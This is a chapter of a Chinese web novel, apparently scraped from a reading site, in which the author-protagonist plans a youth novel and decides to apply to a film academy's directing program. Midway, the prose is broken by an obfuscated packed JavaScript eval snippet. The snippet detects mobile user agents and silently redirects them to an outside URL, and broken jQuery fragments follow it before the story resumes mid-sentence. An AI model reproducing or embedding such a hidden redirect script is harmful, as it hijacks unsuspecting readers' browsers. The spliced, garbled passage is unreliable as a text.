默认冷灰
24号文字
方正启体

第146章 明星中的明星

作者:起酥面包本书字数:K更新时间:
    2001年的新年不再那样盛大,寻寻常常的便过去了。


    期间,方星河除了数度往返日韩进行活动之外,一直都在安安分分的写新书。


    第二本书到底写什么,是文化界、媒体、海内外粉丝共同关注的大事,也是让他本人颇费思量的难题。


    由于实在太难权衡,最后没办法,方星河只好使用排除法来建立那个框架。


    首先,完全可以确定的一点是,绝对不能再写虐文。


    书粉承受不起第二次血虐了。


    明知道是一本会让自己好久都缓不过来的虐文,然后非要去看,如此变态应该不多。


    所以假如再写虐文,日本销量应该不错,韩国不确定,国内肯定白给。


    一旦销量大幅度缩减,到时候什么牛鬼蛇神都会跳出来。


    而且,继续写虐文也会导致“风格固化”,让大众以为他只有这么三板斧,不利于吸粉固粉。


    ……


    其次,写现实主义的传统文学恐怕也不是好想法。


    不是89点的写作能力驾驭不了,而是深刻主题的受众天然太小。


    再结合他的成长经历,能写的主题非常少——东北往事年代文、深挖下岗潮的伤痛文学、关注少年混混之类的边缘文学。


    第一个种类对标《人世间》,现实主义鸿篇巨著,但他上辈子是矿省人,本质上并不了解以前的东北,需要大量时间去搜集资料建立认知,如此才能写出真实不漂浮的几十年变迁。


    总结:难写,很慢,除了冲击奖项,实际效率极低。


    第二个种类对标《冬泳》和《平原上的摩西》,好处是这个种类里没有历史级别的经典名著,坏处是封闭的地域特色所导致的受众天然有限。


    总结:能写,但只是对《苍夜雪》的深挖,意义不大。


    最后一个想法最有搞头,以方星河的本心而言,他非常想写一本有关于非主流和精神小伙的边缘人作品。


    但这有一个巨大的时代问题:非主流还没有登上历史舞台,国人们对于边缘人缺乏认知。


    90后非主流和00后精神小伙的出现,是时代所导致的“抛弃”,80后并未承受那一切,总体上跟住了时代洪流懵懂向前,只有少数人沦为了混混,进而在黑道中挣扎。


    所以在这个层面,受众较多的主题只有类似于《黑道风云二十年》和《坏蛋》的黑道文。


    可它们是伪现实文学,价值不高,影响太坏。


    尤其是以方星河的影响力,真写一本类似的小说,不知道会引发多少模仿,全社会都得炸锅。


    写精神小伙,进而关注社会对边缘群体的放弃,剖析时代快速发展状态下家长、孩子、学校、社会的多重措手不及,这是王道,既有机会拿奖又可以收获大量功德。


    写黑道文却是邪道,二度**一点不冤。


    总结:想写的不到时候,能写的不想写,pass。


    ……


    最后,诗歌、散文、游记、传记等非小说肯定不行。


    没意思,不够庄重,浪费时间。


    一顿排除之后,剩下的选项就不多了。


    其实写科幻小说是一个好想法,虽然科幻作品的地位不高,但是像《三体》那种口碑销量双丰收的巨著,也不虚现实文学。


    但方星河不想抄《三体》,大刘平凡了一辈子全靠《三体》改变命运,作为一个什么都不缺的人,反手就把人家的荣光尊严财富艺术生命全都掠夺一空,太恶了。


    抄日本人或者韩国人的东西,他倒是挺乐意的,可问题是,日韩在这方面也没什么好东西,最起码大方不知道。


    所以最终的预案是写一本《2050》的未来主义软科幻,这是最好写的东西。


    只需要把2030年的现实情况写为“幻想中的2050年”,AI工具、大数据、刷脸支付、赛博城市……


    再定个主题,把现实融进去,逆全球化的孤立主义、资本主义后期困境下的魔幻疯癫、**生存的美国人、出尔反尔的搞笑政客、全球**和竭力维稳的东方大国……妈的写出来肯定让人骂死。


    这些玩意儿谁敢信?


    现在,在网上幻想一下二十年超越日本都是罪,被网友血喷妄想症。


    方星河倒是不怕挨骂,只是犹豫,有没有必要如此高调预言?


    指引方向和精确预言的区别在于,前者可以给予民众们力量,后者只是个人的炫耀,甚至有可能引发很多不好的后果。


    咱家的韬光隐晦政策挺好用的,局座辛辛苦苦演戏那么多年,想想都感到辛酸,可这是胜利路上必要的委屈。


    国与国之间,牵一发而动全身。


    所以这个充满恶趣味的想法最终作罢,未来不写最好,就让那一切沉淀在心中,成为我一个人的秘密吧……


    然后就真的没剩下什么选择了。


    以《悉达多》为代表的充满精神力量的哲学类著作,pass,和年龄太不相符。


    但是写一本哲学类著作的心愿,留在方星河心中,成为了一个长期目标。


    25到30岁之间,沉淀足够之后,就实现它。


    ……


    以《鬼吹灯》为代表的玄幻题材,pass,不屑抄,也没必要贪图IP改编的收益。


    但是想到它,倒是提醒了方星河一件事——封神之类的神话题材绝不能再让乌二三之流再祸祸下去了。


    封神演义是公共版权,谁要拍,方星河拦不住。


    但是他可以提前梳理出一个更宏大的、能够串联从古至今的神话体系,把封神演义囊括进去,然后做自家的大宇宙电影。


    如此一来,直接从格局和投资上碾压,那种瞎胡闹的歪屁股电影自然而然就会降低生存空间。


    “重点标注一下。”


    方星河将这件事记录在自己的备忘录上,不再多想。


    每个阶段有每个阶段要做的事,计划归计划,当务之急不能偏。


    ……


    以《那些年》为代表的青春文学,一半pass一半yes。


    不好的点在于,太简单了些,逼格不够,并且文学界里的老资格们肯定逮着他唧唧歪歪。


    好的点在于,可以全面覆盖方粉主力群体——青少年。


    覆盖尽可能多的方粉是一件很重要、很核心的事,在拍电影拍剧之前,他必须保护好自己的基本盘,每年实现有效产出。


    如果写一本憋屈沉重现实的传统文学作品,文学界库库一顿夸,但小星星们看不下去,那就不叫有效产出。


    长期没有有效产出的结果是跑粉,端王和菊姐是两个很好的例子。


    即便能拿到茅奖,那也是低效产出,毕竟在当前阶段,方星河最重要的核心资产是青少年粉丝,尤其是日妃韩婢东南亚小老婆,她们肯定对华夏的现实主义作品不感冒。


    所以,写一本能够中和掉《苍夜雪》的痛的青春文学作品,是当前的最优解。


    给她们点甜头尝尝,然后下一本就又可以继续虐了……妈的我可真畜生。


    至于青春文学的缺点,其实可以通过写作手法来规避。


    比如,搞一本写尽青春遗憾的群像文,做到真实热烈飞扬,最后留足韵味,成为一代人的青春记忆,逼格也不会差。


    这对文字和情节的要求很高,但是恰巧,方星河都不缺。


    并且,其实就本心而言,方星河有一种强烈的冲动把十三鹰写在一本青春回忆录中。


    接触的时间虽然不久,可是这帮货的二逼、真挚、冲动、快乐,让他体会到了难得的鲜活,将他长期卧床自然滋生的沉沉死气冲刷一空。


    写他们,也是方星河自己重走青春路。


    至于青春群像的受众,更不用担心。


    之前的部分文章对他们略有勾勒,读者反响热烈,暴富多余掏裆房大胆卢婷婷都有不少人喜欢,真正全面细致的写出来之后,肯定有大卖基础。


    如果销量能够冲击2000万,那对方星河的好处也是不言而喻的——这是传奇路上至关重要的一步。


    经过再三斟酌,方星河最终定好了框架:就写身边人,写青春群像。


    风格上类似《那些年》,有明确的爱情线,但是因为男孩比女孩成熟得太晚而遗憾错过,没有车祸癌症等意外因素,只有各种现实。


    现实就是父母的高压、学校的管制、朋友们的怂恿、男孩的迟钝好面子、女孩的敏感多虑……


    隐藏在暗处的核心则是:青春的遗憾几乎是必然,不成熟的我碰到了自以为成熟的你,爱得纯真热烈,却脆弱得经不住一点风雨。


    如果能以最诗意的语言将这场青春期最大的错位展现出来,《少年的我们》完全可以成为里程碑一样的经典。


    所以方星河没有写自己,而是写了小方。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15547928|171215||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    骄傲莽撞自负的野性狼崽子,而非现在的矛盾结合体。


    作为青春文的主角,小方没那么帅,但是极有魅力,可这种魅力是脆弱的、单纯的、变幻莫测的。


    在简单的环境中,他能摆平除了感情以外的一切事情,可是随着世界变得越来越复杂,男孩开始受到磋磨,尽管什么打击都磨不平他心中的棱角,可“失去”却始终如影随形。


    从高中写到社会,从他的意气风发写到社会的毒打,结尾借鉴《那些年》,十年之后,女主角嫁为人妇,为所有人的青春画上一个句点。


    从婚宴后的最后一场酒局里出来,小方独自走在江桥上,摇摇晃晃,唱着KTV里没唱完的最后半首歌,忽然一屁股坐在栏杆旁,哆哆嗦嗦的给自己点一支烟,深深埋下头。


    一点火星忽明忽灭,摇摇欲坠。


    ……


    故事就这么简单,写起来难度不大,是以,在1月中旬,初稿就已成熟。


    2月中旬,在方星河出发之前,二版定稿。


    由于实力的提升,也因为结构上的简单,《少年的我们》没有三稿了,这种完全不需要隐藏信息的简单结构,只要文字的张力足够,轻轻松松就能触动人心。


    最大的证据就是掏裆——方星河给他看了初稿,没心没肺的小二逼浑浑噩噩了好几天,一想起来就唉声叹气的。


    “你居然真看到心里去了?”


    多余和暴富用怀疑的眼神看着他,掏裆大怒:“草!我他妈又不是智障!”


    “哦哦,对,你不是。”


    大家敷衍了两句,转头开始争抢初稿。


    成了,方星河心想。


    一本书如果能够让掏裆这种货色都心有触动,那么它的受众几乎就能涵盖10岁到25岁的80%人群。


    剩下那些都是不识字的文盲和阅读障碍症患者,不可能更菜了。


    于是方星河把书稿往时代文艺一扔,留下一句话:“4月1日,我生日那天,正式发售。”


    然后就什么都不理会,悠哉悠哉去首都了。


    艺考的时间到了,他决定拿到北电的导演系门票。


    清北肯定是不去的,中文学院、新闻学院、经管学院,一个赛一个的恶心人。


    方哥不是记仇的人,可是上回清北复交对他的指指点点,在日记里写得清清楚楚,他自己当然不在意,但是方粉们在意。


    对,都是方粉小心眼儿。


    相比之下,虽然北电的导演系也不咋地,可是这座庙小,方星河去了就是爹,尽可以按照自己的思路去随意改造。


    实在改造不了,咱还可以掀桌子,直接把锅碗瓢盆都给你砸喽,完全能保证自己不受气。


    去了清北,不夹起尾巴做人,难道还和系里甚至院里冲突吗?


    在2001年这会儿功夫,哪儿哪儿都有大堆臭狗屎,所以宁肯去个自己能掌控得了的地方当鸡头,也别跑别人家地盘上当凤尾。


    与其被一顶顶大帽子压着不敢开骂,不如站外面骂个痛快,你方哥就是这么野。


    不过这回没等到他开骂,随着他报考了北电导演系的消息传出来,又有一群老学究“痛心疾首”的开麦了。


    巧得很,北大姓焦的、清华姓高的,都在逼逼叨之列。


    居高临下的指责他“成绩那么好却急功近利”、“有上清北的能力却自甘堕落”、“能写好文章不等于能拍好电影”……


    好家伙,方星河刚沉寂了一个多月,他们又迫不及待的送你方哥上热搜,属实是不蹭会死。


    方星河倒是没觉得有什么,懒得搭理,不过京圈一听到“导演”两个字,都不用酝酿就直接高潮了。


    “年轻人有心气是好事,谁还没有异想天开过呢?”


    拿不到方星河版权的小钢炮又变了脸,在自家最擅长的领域端起了前辈嘴脸。


    阳朔更夸张,笑得前仰后合的:“哎哟,我可太期待他的导演作品了,打今儿起,我可就盼着了,哈哈哈哈哈哈!”


    各路媒体热泪盈眶:真不容易,终于又吃到方大爹的热度了!


    方粉也开始躁动,兴奋的茫然的,期盼的担忧的,惊喜的反感的,理解的不理解的……


    简简单单公开一个决定,世界又开始围着他转。


    这就是明星中的明星,不应该在这个时代诞生的开路顶流。


    (本章完)
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)